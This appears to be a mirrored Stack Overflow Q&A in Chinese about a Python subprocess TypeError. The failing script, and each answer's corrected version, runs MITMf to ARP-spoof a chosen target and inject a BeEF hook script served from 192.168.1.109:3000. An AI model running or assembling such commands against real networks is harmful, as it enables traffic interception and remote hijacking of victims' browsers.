【问题标题】:unable to run subprocess cmd keep getting error无法运行子进程 cmd 不断出现错误
【发布时间】:2016-03-04 19:39:43
【问题描述】:

我的代码是:

#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")

from subprocess import call
import subprocess

import os
os.chdir("/usr/share/mitmf/")

subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)

我的输出是:

Traceback (most recent call last):                                    
File "./ARP_Beef.py", line 11, in <module>
    subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'

我不知道出了什么问题。谁能帮帮我

【问题讨论】:

    标签: python shell subprocess


    【解决方案1】:

    我会说:用单个列表元素来做:

    subprocess.Popen(["python", "mitmf.py", "--spoof", "--arp", "-i", "wlan0", "--gateway", gateway, "--target", ip_addr, "--inject", "--js-url", "http://192.168.1.109:3000/hook.js"], shell = False)
    

    docs.python.org: "在 Unix 上,如果 args 是一个字符串,则该字符串被解释为要执行的程序的名称或路径。但是,这只能在 不传递参数的情况下进行 到程序中。”

    【讨论】:

    • 这看起来可行,但没有解释提问者错误的原因。
    【解决方案2】:

    删除'['']'

    "python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js" % (gateway, ip_addr)
    

    【讨论】:

      【解决方案3】:

      TypeError: %: 'list' 和 'tuple' 的操作数类型不受支持

      表示你做不到:

      >>> ['%s'] % ('b',)
      Traceback (most recent call last):
        File "<stdin>", line 1, in <module>
      TypeError: unsupported operand type(s) for %: 'list' and 'tuple'
      

      您应该将每个命令行参数作为单独的列表项传递:

      #!/usr/bin/env python
      import subprocess
      import sys
      
      gateway, ip_addr = 'get them', 'however you like'
      subprocess.check_call([sys.executable] + 
          '/usr/share/mitmf/mitmf.py --spoof --arp -i wlan0'.split() +
          ['--gateway', gateway, '--target', ip_addr] +
          '--inject --js-url http://192.168.1.109:3000/hook.js'.split(),
                            cwd="/usr/share/mitmf/")
      

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2023-03-10
        • 2019-08-27
        • 1970-01-01
        • 2011-05-23
        • 1970-01-01
        相关资源
        最近更新 更多